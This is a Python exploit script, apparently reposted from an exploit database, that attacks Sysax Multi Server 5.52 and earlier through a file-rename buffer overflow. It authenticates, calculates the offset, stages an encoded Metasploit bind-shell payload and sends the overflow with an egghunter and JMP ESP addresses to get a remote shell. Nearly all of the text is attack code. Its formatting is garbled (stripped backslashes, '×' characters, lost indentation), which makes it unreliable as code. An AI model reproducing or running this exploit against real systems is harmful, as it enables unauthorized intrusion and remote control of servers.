#!/usr/bin/python

##########################################################################################################
#Title: Sysax Multi Server <= 5.52 File Rename BoF RCE (Egghunter)
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit and Server 2003 SP2 32bit(No DEP)
#Software Versions Tested: 5.50 and 5.52
#Date Discovered: Febrary 1, 2012
#Vendor Contacted: Febrary 3, 2012
#Vendor Response: (none)
#A complete description of this exploit can be found here:
#http://www.pwnag3.com/2012/02/sysax-multi-server-552-file-rename.html
##########################################################################################################
import socket,sys,time,re,base64
if len(sys.argv) != 6:
print "[+] Usage: ./filename <Target IP> <Port> <User> <Password> <XP or 2K3>"
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]
password = sys.argv[4]
opersys = sys.argv[5]
#base64 encode the provided creds
creds = base64.encodestring(user+"x0a"+password)
#msfpayload windows/shell_bind_tcp LPORT=4444 R|msfencode -e x86/alpha_mixed -b "x00×2fx0a"
shell = ("DNWPDNWP"
"x89xe3xdaxc5xd9×73xf4×5ax4ax4ax4ax4ax4ax4a"
"x4ax4ax4ax4ax4ax43×43x43×43x43×43x37×52x59"
"x6ax41×58x50×30x41×30x41×6bx41×41x51×32x41"
"x42×32x42×42x30×42x42×41x42×58x50×38x41×42"
"x75×4ax49×39x6cx58×68x6dx59×55x50×65x50×45"
"x50×55x30×4ex69×39x75×55x61×39x42×61x74×4c"
"x4bx51×42x50×30x6ex6bx73×62x36×6cx6ex6bx63"
"x62×57x64×6cx4bx53×42x55×78x66×6fx6dx67×73"
"x7ax37×56x45×61x4bx4fx45×61x6fx30×4cx6cx65"
"x6cx61×71x33×4cx75×52x64×6cx45×70x79×51x38"
"x4fx66×6dx63×31x58×47x7ax42×68x70×73x62×71"
"x47×6cx4bx33×62x32×30x4cx4bx77×32x55×6cx36"
"x61×58x50×6ex6bx71×50x62×58x6ex65×4bx70×33"
"x44×61x5ax77×71x68×50x72×70x4cx4bx33×78x36"
"x78×6ex6bx70×58x71×30x57×71x59×43x79×73x75"
"x6cx43×79x6ex6bx34×74x6cx4bx47×71x6ex36×55"
"x61×49x6fx56×51x6fx30×4cx6cx49×51x68×4fx34"
"x4dx33×31x49×57x64×78x69×70x30×75x38×74x75"
"x53×53x4dx6bx48×37x4bx71×6dx51×34x52×55x6a"
"x42×33x68×4ex6bx42×78x75×74x43×31x6ex33×62"
"x46×6ex6bx66×6cx32×6bx4ex6bx76×38x47×6cx77"
"x71×68x53×4ex6bx65×54x4cx4bx57×71x78×50x4f"
"x79×67x34×51x34×51x34×63x6bx61×4bx65×31x30"
"x59×30x5ax53×61x39×6fx6dx30×33x68×31x4fx52"
"x7ax6cx4bx65×42x68×6bx4cx46×63x6dx55×38x44"
"x73×46x52×63x30×33x30×35x38×42x57×30x73×50"
"x32×73x6fx50×54x31×78x52×6cx34×37x44×66x44"
"x47×59x6fx6ex35×6ex58×6ex70×77x71×55x50×55"
"x50×46x49×49x54×46x34×42x70×61x78×51x39×6f"
"x70×50x6bx53×30x59×6fx49×45x50×50x50×50x36"
"x30×72x70×51x50×32x70×57x30×72x70×43x58×38"
"x6ax34×4fx79×4fx6bx50×79x6fx39×45x6dx59×79"
"x57×50x31×49x4bx51×43x65×38x43×32x45×50x72"
"x31×73x6cx6cx49×49x76×32x4ax34×50x76×36x72"
"x77×45x38×5ax62×4bx6bx55×67x63×57x79×6fx38"
"x55×71x43×51x47×43x58×4fx47×59x79×64x78×69"
"x6fx59×6fx7ax75×36x33×70x53×51x47×65x38×61"
"x64×78x6cx67×4bx69×71x49×6fx48×55x70×57x6f"
"x79×49x57×63x58×42x55×50x6ex72×6dx55×31x79"
"x6fx39×45x33×58x63×53x72×4dx35×34x77×70x4e"
"x69×79x73×76x37×73x67×62x77×46x51×7ax56×31"
"x7ax57×62x76×39x46×36x4bx52×39x6dx42×46x38"
"x47×62x64×61x34×47x4cx45×51x57×71x4cx4dx47"
"x34×76x44×44x50×79x56×63x30×53x74×33x64×70"
"x50×53x66×42x76×52x76×53x76×76x36×30x4ex71"
"x46×32x76×36x33×62x76×53x58×44x39×48x4cx57"
"x4fx6ex66×69x6fx79×45x6fx79×6dx30×30x4ex32"
"x76×63x76×49x6fx56×50x42×48x65×58x6dx57×45"
"x4dx31×70x79×6fx38×55x4dx6bx78×70x4dx65×69"
"x32×30x56×50x68×4fx56×4ax35×4dx6dx6fx6dx49"
"x6fx39×45x55×6cx66×66x43×4cx56×6ax4dx50×69"
"x6bx59×70x64×35x74×45x6fx4bx53×77x55×43x43"
"x42×42x4fx43×5ax55×50x52×73x79×6fx68×55x41"
"x41")
egghunter = ("x66×81xcaxffx0fx42×52x6ax02×58xcdx2ex3cx05×5ax74xefxb8×44x4ex57×50x8bxfaxafx75xeaxafx75xe7xffxe7")
print "============================================================================"
print " Sysax Multi Server <= 5.52 File Rename BoF "
print " by cd1zz "
print " www.pwnag3.com "
print " Launching exploit against " + target + " on port " + str(port) + " for " + opersys
print "============================================================================"
#login with encoded creds
login = "POST /scgi?sid=0&pid=dologin HTTP/1.1rn"
login += "Host: rn"
login += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1rn"
login += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn"
login += "Accept-Language: en-us,en;q=0.5rn"
login += "Accept-Encoding: gzip, deflatern"
login += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn"
login += "Proxy-Connection: keep-alivern"
login += "http://"+target+"/scgi?sid=0&pid=dologinrn"
login += "Content-Type: application/x-www-form-urlencodedrn"
login += "Content-Length: 15rnrn"
login += "fd="+creds
#grab the sid
r = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
r.connect((target, port))
print "[*] Getting your SID."
r.send(login + "rn")
page = r.recv(10240)
sid = re.search(r’sid=[a-zA-Z0-9]{40}’,page,re.M)
if sid is None:
print "[X] Could not get a SID. User and pass correct?"
sys.exit(1)
print "[+] Your " + sid.group(0)
time.sleep(2)
#find the users path to calc offset
print "[*] Finding home path to calculate offset."
path = re.search(r’file=[a-zA-Z0-9]:\[\.a-zA-Z_0-9 ]{1,255}[\$]‘,page,re.M)
time.sleep(1)
#if that doesnt work, try to upload a file and check again
if path is None:
print "[-] There are no files in your path so I’m going to try to upload one for you."
print "[-] If you don’t have rights to do this, it will fail."
upload = "POST /scgi?"+str(sid.group(0))+"&pid=uploadfile_name1.htm HTTP/1.1rn"
upload += "Host:rn"
upload += "Content-Type: multipart/form-data; boundary=—————————97336096252362005297691620rn"
upload += "Content-Length: 219rnrn"
upload += "—————————–97336096252362005297691620rn"
upload += "Content-Disposition: form-data; name="upload_file"; filename="file.txt"rn"
upload += "Content-Type: text/plainrn"
upload += "—————————–97336096252362005297691620–rnrn"
u = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
u.connect((target, port))
u.send(upload + "rn")
page = u.recv(10240)
path = re.search(r’file=[a-zA-Z0-9]:\[\.a-zA-Z_0-9 ]{1,255}[\$]‘,page,re.M)
time.sleep(2)
if path is None:
print "[X] It failed, you probably don’t have rights to upload."
print "[X] You will need to get your path another way to properly calculate the offset."
sys.exit(1)
print "[+] Got it ==> " + path.group(0)
time.sleep(1)
#subtract –> file=c: <— (8 bytes) from the length and minus one more for the trailing –>
pathlength = len(path.group(0)) – 8 – 1
#print "[*] The path is " + str(pathlength) + " bytes long (not including C:)."
if pathlength < 16:
print "[X] Your path is too short, this will just DoS the server."
print "[X] The path has to be at least 16 bytes long or we cant jump to our buffer."
sys.exit(1)
time.sleep(2)
r.close()
#jump back 128 bytes
jumpback = "xebx80"
#No DEP bypass
if opersys == "2K3":
#2043 is the offset for c:A
offset = 2044 – pathlength
padding = "x90" * 10
junk = "x41" * (offset – len(egghunter+padding))
jump = "xa4xdex8ex7c" #JMP ESP
buf = junk + egghunter + padding + jump + "x90"*12 + jumpback + "D"*10
if opersys == "XP":
#2044 is the offset for c:A
offset = 2044 – pathlength
padding = "x90" * 10
junk = "x41" * (offset – len(egghunter+padding))
jump = "x53×93x42×7e" #JMP ESP
buf = junk + egghunter + padding + jump + "x90"*12 + jumpback + "D"*10
#print "[*] Your offset is " + str(offset)
#we’ll stuff our shell in memory first
stage1 = "POST /scgi?"+str(sid.group(0))+"&pid="+shell+"mk_folder2_name1.htm HTTP/1.1rn"
stage1 += "Host: rn"
stage1 += "Referer: http://"+target+"/scgi?sid="+str(sid.group(0))+"&pid=mk_folder1_name1.htmrn"
stage1 += "Content-Type: multipart/form-data; boundary=—————————1190753071675116720811342231rn"
stage1 += "Content-Length: 171rnrn"
stage1 += "—————————–1190753071675116720811342231rn"
stage1 += "Content-Disposition: form-data; name="e2"rnrn"
stage1 += "file_testrn"
stage1 += "—————————–1190753071675116720811342231–rnrn"
#this is the bof
stage2 = "POST /scgi?"+str(sid.group(0))+"&pid=rnmslctd1_name1.htm HTTP/1.1rn"
stage2 += "Host: rn"
stage2 += "Referrer: http://"+target+"/scgi?sid=0&pid=dologinrn"
stage2 += "Content-Type: multipart/form-data; boundary=—————————332173112583677792048824791rn"
stage2 += "Content-Length: 183rnrn"
stage2 += "—————————–332173112583677792048824791rn"
stage2 += "Content-Disposition: form-data; name="e2"rnrn"
stage2 += "file_"+buf+"rnrn"
stage2 += "—————————–332173112583677792048824791–rnrn"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target, port))
print "[*] Sending stage 1 shell."
s.send(stage1 + "rn")
time.sleep(3)
##Dont close the socket or we’ll lose our stage 1 shell in memory
##s.close()
t = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
t.connect((target, port))
print "[*] Sending stage 2 BoF."
t.send(stage2 + "rn")
print "[*] Go get your shell…"
t.recv(2048)

# [1337day.com][1] [2012-02-09]

[1]: http://www.1337day.com/

Source: http://www.1337day.com/exploits/17511